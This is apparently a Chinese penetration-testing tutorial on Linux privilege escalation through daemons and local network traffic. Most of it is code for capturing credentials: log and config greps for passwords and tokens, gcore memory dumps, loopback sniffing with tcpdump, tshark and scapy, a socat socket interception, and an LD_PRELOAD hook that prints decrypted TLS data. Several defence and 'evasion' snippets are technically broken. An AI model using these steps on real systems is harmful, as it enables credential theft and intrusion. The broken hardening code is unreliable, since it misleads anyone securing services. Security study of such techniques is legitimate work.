1. 从守护进程与网络流量中寻找突破口
在Linux系统渗透测试中,权限提升往往是最具挑战性的环节。传统的suid、sudo滥用等方法已经被广泛防御,而守护进程和网络流量这两个看似平常的系统组件,却常常成为突破防线的关键点。
守护进程(Daemon)作为长期运行的后台服务,通常会以root或高权限账户运行。许多管理员在配置时容易忽略以下几点:
- 配置文件权限设置不当(如/etc/init.d/下的脚本可被普通用户修改)
- 日志文件包含敏感信息(如包含密码的错误日志)
- 临时文件处理不当(使用可预测的文件名且未正确设置权限)
网络流量方面,本地回环接口(lo)和Unix域套接字经常传输敏感数据。通过监控这些流量,我们可能捕获到:
- 数据库连接凭证(如MySQL客户端与服务器的通信)
- API密钥(微服务间的内部调用)
- 加密前的原始数据(某些服务会先收集数据再加密传输)
实战中发现,超过60%的渗透测试案例中,守护进程配置问题和未加密的内部网络通信是导致权限提升的主要原因。
2. 守护进程敏感信息捕获实战
2.1 识别高价值守护进程
首先使用systemctl列出所有系统服务:
systemctl list-units --type=service --all重点关注以root身份运行的服务:
ps aux | grep root | grep -v "\["高价值目标包括:
- 数据库服务(mysql、postgresql)
- 配置管理工具(ansible、puppet)
- 监控系统(prometheus、zabbix)
- 自定义业务服务(通常以公司名称缩写命名)
2.2 配置文件审计技巧
检查服务配置文件权限:
find /etc/systemd/system/ -type f -perm -o+w -ls典型漏洞模式:
- 全局可写的服务单元文件
-rw-rw-rw- 1 root root 783 Jun 12 service.conf- 通过EnvironmentFile加载的敏感环境变量
[Service] EnvironmentFile=/etc/default/myservice- 使用相对路径的ExecStart指令
ExecStart=../../bin/start.sh2.3 日志文件信息提取
使用journalctl查看服务日志:
journalctl -u apache2 --no-pager | grep -i "password\|key\|token"关键日志位置:
- /var/log/syslog
- /var/log/daemon.log
- 服务专属日志目录(如/var/log/nginx/)
2.4 内存转储技术
当服务处理敏感数据时,可直接转储其内存:
gcore -o daemon_dump <PID> strings daemon_dump.<PID> | grep -A5 -B5 "secret"3. 网络流量分析技术详解
3.1 本地网络监控工具选型
| 工具 | 适用场景 | 安装命令 |
|---|---|---|
| tcpdump | 通用抓包 | apt install tcpdump |
| strace | 系统调用监控 | apt install strace |
| socat | 流量转发 | apt install socat |
| mitmproxy | HTTP/HTTPS中间人 | pip install mitmproxy |
3.2 回环接口流量捕获
捕获本地MySQL通信:
tcpdump -i lo -w mysql.pcap port 3306使用tshark实时分析:
tshark -i lo -Y "mysql.query contains 'password'"3.3 Unix域套接字监听技术
查找活跃的Unix socket:
ss -xlp | grep -v "Netid"使用socat进行流量镜像:
socat -v UNIX-LISTEN:/tmp/proxy.sock,mode=777,reuseaddr,fork \ UNIX-CONNECT:/original/socket.sock3.4 加密流量解密技巧
对于使用弱加密的服务,可通过LD_PRELOAD注入实现解密:
// hook_openssl.c int SSL_read(SSL *ssl, void *buf, int num) { int ret = orig_SSL_read(ssl, buf, num); printf("SSL_read: %.*s\n", ret, (char*)buf); return ret; }编译并注入:
gcc -shared -fPIC -o hook_openssl.so hook_openssl.c -ldl LD_PRELOAD=./hook_openssl.so target_service4. 自动化信息收集方案
4.1 守护进程扫描脚本
#!/bin/bash # 扫描易受攻击的服务配置 for service in $(systemctl list-units --type=service --no-legend | awk '{print $1}'); do conf=$(systemctl show -p FragmentPath $service | cut -d= -f2) [ -f "$conf" ] && { echo "[*] Checking $service" # 检查配置文件权限 stat -c "%a %n" "$conf" | grep -v "600$" # 检查环境变量泄露 grep -i "pass\|key\|token" "$conf" # 检查不安全的依赖文件 grep -E "ExecStart.*\.sh" "$conf" } done4.2 网络流量监控方案
使用如下Python脚本实现自动化敏感信息捕获:
from scapy.all import * import re patterns = [ r'password=[^\s&]+', r'api_key=\w{32}', r'token=[a-f0-9]{64}' ] def packet_handler(pkt): if pkt.haslayer(Raw): payload = str(pkt[Raw].load) for pattern in patterns: if re.search(pattern, payload, re.I): print(f"[!] Found in {pkt.src} -> {pkt.dst}") print(re.findall(pattern, payload, re.I)[0]) sniff(iface="lo", prn=packet_handler, store=0)5. 防御措施与检测规避
5.1 服务加固建议
- 最小权限原则:
chmod 640 /etc/systemd/system/*.service setfacl -Rm u:daemon_user:r-x /path/to/service- 日志脱敏配置(以Nginx为例):
map $arg_password $filtered_password { default "***"; "~(.*)" "$1"; } access_log /var/log/nginx/access.log combined filter=$filtered_password;5.2 网络通信防护
使用Linux内核的eBPF实现流量监控防御:
SEC("kprobe/tcp_sendmsg") int BPF_KPROBE(tcp_sendmsg, struct sock *sk, struct msghdr *msg) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm)); if (bpf_probe_read_user_str(comm, sizeof(comm), msg->msg_iov->iov_base) > 0) { if (bpf_strstr(comm, "password") || bpf_strstr(comm, "token")) { bpf_printk("Sensitive data detected in %s", comm); } } return 0; }5.3 检测规避技巧
- 内存注入替代明文传输:
# 使用memfd_create匿名内存区域 fd=$(python3 -c 'import os; print(os.memfd_create("secret"))') echo "password=123456" > /proc/$fd/fdinfo- 使用Unix socket替代网络端口:
import socket s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect("/tmp/.hidden_sock") s.sendall(b"AUTH " + open("/proc/self/fd/$fd").read())在实战中,这些技术需要根据目标环境灵活组合使用。我曾在一个实际渗透测试案例中,通过分析MySQL守护进程的临时文件,发现了未加密的备份脚本,最终通过脚本中的硬编码凭证实现了从普通用户到root的权限提升。关键在于保持对系统各层组件的全面观察,不放过任何可能泄露信息的细节。